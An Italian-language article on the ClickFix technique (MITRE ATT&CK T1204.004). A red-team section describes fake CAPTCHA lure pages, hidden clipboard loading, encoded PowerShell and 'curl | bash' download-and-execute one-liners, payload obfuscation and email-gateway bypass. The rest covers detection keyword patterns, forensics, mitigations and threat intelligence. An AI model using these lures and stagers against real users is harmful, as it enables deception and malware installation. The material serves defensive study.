Copia-Incolla Malevolo: Malicious Copy and Paste (T1204.004)

Per simulare T1204.004 in un esercizio red team, la catena inizia con la costruzione di una landing page ClickFix credibile: un falso errore di Cloudflare, un CAPTCHA rotto o un messaggio "Verify you are human" che istruisce l'utente ad aprire la finestra Esegui (Win+R) e incollare un comando pre-caricato in clipboard tramite JavaScript.

Sul lato infrastruttura, Evilginx2 (open source) o Gophish (open source) permettono di orchestrare la campagna phishing e tracciare i click. Per generare la landing page ClickFix, il framework Havoc (open source) include moduli operator-side per la generazione di stager PowerShell, mentre Nighthawk (a pagamento) e Cobalt Strike (a pagamento) restano riferimenti per il post-exploitation successivo.

Un one-liner tipico che l'operatore red team farebbe incollare alla vittima simulata assume forma simile a:

powershell -w hidden -enc

dove il blob Base64 decodifica in una chiamata IEX (New-Object Net.WebClient).DownloadString(''). Su Linux/macOS l'equivalente è:

curl -sSL | bash

Per offuscare la stringa in clipboard e nascondere il prefisso powershell alla vista dell'utente, si sfrutta l'API JavaScript navigator.clipboard.writeText() con caratteri di controllo o padding di spazi.

In laboratorio, per validare la catena end-to-end conviene:

• Ospitare la landing page su un dominio con certificato valido (Let's Encrypt, gratuito) e reputazione pulita, eventualmente ottenuto tramite domain fronting o typosquatting controllato.
• Testare l'offuscamento del payload con Invoke-Obfuscation (open source) di Daniel Bohannon per generare varianti che evadano signature statiche.
• Verificare la telemetria generata con Sysmon (gratuito) configurato con la policy di SwiftOnSecurity, monitorando gli EventID 1 (process creation) e 3 (network connect).

Per estendere il test allo scenario email-based, si prepara un allegato HTML che, all'apertura, mostra un finto errore "Document cannot be rendered — copy the following recovery command". Questa variante bypassa i gateway email che ispezionano macro Office ma non contenuto HTML statico.

Durante il retest, misurare il tasso di conversione (utenti che effettivamente incollano) e il tempo medio dall'apertura alla execution: sono KPI utili per calibrare training di awareness successivi. Mantenere sempre scope, RoE firmate e canale di kill-switch per interrompere la simulazione.

La detection di T1204.004 poggia su correlazione tra applicazione parent (browser, client email, Office) e spawn di un interprete di comandi con argomenti sospetti. La sequenza canonica descritta in DET0340 è: contesto utente attivo nel browser → creazione processo powershell.exe o cmd.exe → argomenti che contengono pattern tipici di one-liner incollato → drop opzionale in %TEMP% o %APPDATA% → connessione uscente verso dominio esterno.

Su Windows le fonti primarie sono WinEventLog:Security (EventID 4688 con command line auditing abilitato), Microsoft-Windows-PowerShell/Operational (EventID 4104 per script block logging) e Sysmon EventID 1 e 3. Le stringhe di allerta ad alto valore sono -enc, -EncodedCommand, FromBase64String, IEX(, DownloadString, Invoke-WebRequest, insieme a parent process anomali come explorer.exe che spawna powershell.exe subito dopo un Win+R (tracciabile via RunMRU nel registry).

Una regola di correlazione efficace lega tre condizioni entro una finestra di 15 minuti: parent tra {chrome.exe, msedge.exe, firefox.exe, outlook.exe, winword.exe} → child in {powershell.exe, cmd.exe, wscript.exe} → command line matcha regex del set SuspiciousArgPatterns. L'aggiunta di una quarta condizione (connessione uscente entro 60 secondi dallo spawn) riduce drasticamente i falsi positivi.

Su Linux la telemetria arriva da auditd con regole su execve per bash/zsh e da NSM flow per l'egress. Pattern chiave: curl o wget seguiti da pipe verso sh, bash o python, oppure base64 -d nella stessa command line. La combinazione con drop transiente in /tmp o ~/.cache è un indicatore forte.

Su macOS l'Unified Log e osquery (open source) tracciano Terminal.app e iTerm2 come parent. Il segnale distintivo è pbpaste immediatamente seguito da esecuzione, oppure base64 -D accoppiato a curl ... | sh.

I falsi positivi principali arrivano da amministratori di sistema, sviluppatori che usano terminali integrati (VSCode) e automazioni legittime che invocano PowerShell da task scheduler. La mitigazione passa per una ParentProcessAllowList costruita per segmento aziendale e per l'esclusione di account di servizio noti.

Sul fronte preventivo, AppLocker o Windows Defender Application Control in modalità enforced su directory user-writable, insieme a PowerShell Constrained Language Mode per utenti non-admin (Set-ExecutionPolicy AllSigned), riducono la superficie. Web proxy filtering e DNS filtering (M1021) bloccano l'accesso alle landing page ClickFix note, mentre IPS di rete (M1031) intercetta le firme degli stager scaricati.

L'analisi forense di T1204.004 ruota attorno alla ricostruzione della sequenza interazione utente → paste → execution → egress. Gli artefatti chiave su Windows partono dal registry: la chiave HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU conserva la cronologia dei comandi digitati nella finestra Esegui, incluso il payload incollato. La presenza di stringhe powershell -enc o riferimenti a URL nella RunMRU è un indicatore diretto della tecnica.

La timeline si costruisce combinando più fonti. Prefetch (C:\Windows\Prefetch) documenta la prima esecuzione di powershell.exe con timestamp preciso. Amcache.hve e ShimCache confermano l'esecuzione di eventuali binari droppati come secondo stadio. I log Microsoft-Windows-PowerShell/Operational EventID 4104 conservano lo script block completo, anche se offuscato: il de-offuscamento post-mortem tramite CyberChef (open source) o PowerShell-Deobfuscator rivela il payload originale.

Gli artefatti browser sono cruciali per identificare la landing page ClickFix. Cronologia, cache e cookie di Chrome/Edge/Firefox — estraibili con Hindsight (open source) o KAPE (gratuito per uso non commerciale) — mostrano l'URL della pagina che ha ospitato il finto errore, il timestamp della visita e spesso il payload JavaScript che ha popolato la clipboard. Un indicatore forte è la sequenza temporale: visita al dominio sospetto → aggiornamento della RunMRU → creazione processo interprete entro pochi secondi.

Su Linux la ricostruzione parte da ~/.bash_history, ~/.zsh_history e dai log auditd conservati in /var/log/audit/audit.log. La correlazione con timestamp di file transitori in /tmp (recuperabili anche da inode non ancora sovrascritti con debugfs o The Sleuth Kit, open source) permette di ricostruire lo stager. Su macOS l'Unified Log conserva eventi di Terminal.app e iTerm2; il file ~/.zsh_history e i sandbox log di Safari (~/Library/Containers/com.apple.Safari) chiudono il cerchio sull'origine web.

Per artefatti di rete, Zeek (open source) e i log del proxy aziendale documentano l'egress verso l'infrastruttura C2. La correlazione tra il domain contattato dallo stager e i CT logs (consultabili tramite il servizio crt.sh) può rivelare pattern di dominio riconducibili a infrastrutture note.

Nel contesto del malware Havoc (S1229), la catena documentata parte da email di phishing con lure ClickFix, prosegue con drop di un beacon Havoc in %APPDATA% e stabilisce C2 su HTTPS. Il gruppo Contagious Interview (G1052) adotta lo stesso schema in campagne mirate a sviluppatori, spesso mascherandole come test tecnici di colloquio. Documentare hash, path e IOC di rete in formato STIX 2.1 facilita la condivisione con ISAC di settore.

L'adozione di ClickFix come vettore di initial access ha registrato una crescita marcata nel panorama del cybercrime e dell'attività state-sponsored. I dati MITRE censiscono formalmente un solo gruppo e un solo software associati a T1204.004, ma il pattern è indicativo di una tendenza più ampia che va monitorata.

Contagious Interview (G1052) è l'unico gruppo APT tracciato con associazione diretta alla tecnica. Il collettivo è noto per campagne di ingegneria sociale rivolte a sviluppatori software, con particolare focus sull'ecosistema Web3 e cryptocurrency. Il modus operandi consiste nel contattare vittime tramite piattaforme professionali proponendo finti colloqui tecnici, durante i quali la vittima viene guidata a eseguire codice sotto forma di "test di sviluppo" o "verifica ambiente". L'evoluzione verso lure ClickFix rappresenta un raffinamento: invece di richiedere clone di repository sospetti, si propone alla vittima una "correzione" di un errore ambientale tramite copia-incolla in terminale. L'attribuzione geografica pubblica associa il gruppo alla Repubblica Popolare Democratica di Corea, con motivazioni finanziarie orientate al furto di asset digitali.

Havoc (S1229) è un framework command-and-control open source, sviluppato originariamente come alternativa a Cobalt Strike per scopi di red teaming. La sua catena infettiva è stata osservata partire da lure ClickFix in email di phishing, con lo stager PowerShell che scarica il beacon Havoc e stabilisce persistenza. La disponibilità open source del framework ne facilita l'adozione da parte di attori con budget limitato, incluso il segmento cybercrime commodity, rendendo l'attribuzione basata solo sul tooling scarsamente affidabile.

Il pattern emergente dall'analisi dei dati disponibili suggerisce che ClickFix stia diventando un vettore trasversale, adottato sia da attori state-sponsored orientati al furto finanziario sia da operatori commodity di malware. La ragione strategica è chiara: la tecnica bypassa email gateway, browser sandbox e MOTW (Mark of the Web) di Windows, perché l'esecuzione avviene per mano dell'utente in un contesto interattivo esplicito.

Dal punto di vista della threat intelligence operativa, i segnali da monitorare includono: comparsa di nuovi kit ClickFix su forum underground, campagne di malvertising che redirigono su landing page con finti CAPTCHA, e pattern di typosquatting su domini tecnologici popolari (portali cloud, provider CDN, servizi di verifica bot). Il fingerprinting delle landing page via hash dei componenti JavaScript e via analisi dei CT logs consente detection early-stage prima della diffusione massiva.

Per i CTI officer, la raccomandazione è integrare feed dedicati a lure ClickFix, condividere IOC via TLP:AMBER attraverso ISAC settoriali e coordinare con i team awareness la produzione di training basati su scenari realistici, dato che la difesa tecnica da sola non è sufficiente quando l'utente è complice inconsapevole dell'esecuzione.

MITRE ATT&CK T1204.004 (Malicious Copy and Paste), tattica TA0002. Gruppo G1052 (Contagious Interview), software S1229 (Havoc). Mitigazioni M1021, M1031, M1038. Detection DET0340 con analytics AN0962 (Windows), AN0963 (Linux), AN0964 (macOS). MITRE D3FEND per mapping tecniche difensive. Sezioni operative integrate con conoscenza professionale su tool di detection (Sysmon, auditd, Zeek, KAPE, Hindsight, osquery, CyberChef) e framework offensivi (Evilginx2, Gophish, Invoke-Obfuscation) verificati come progetti attivi e documentati pubblicamente.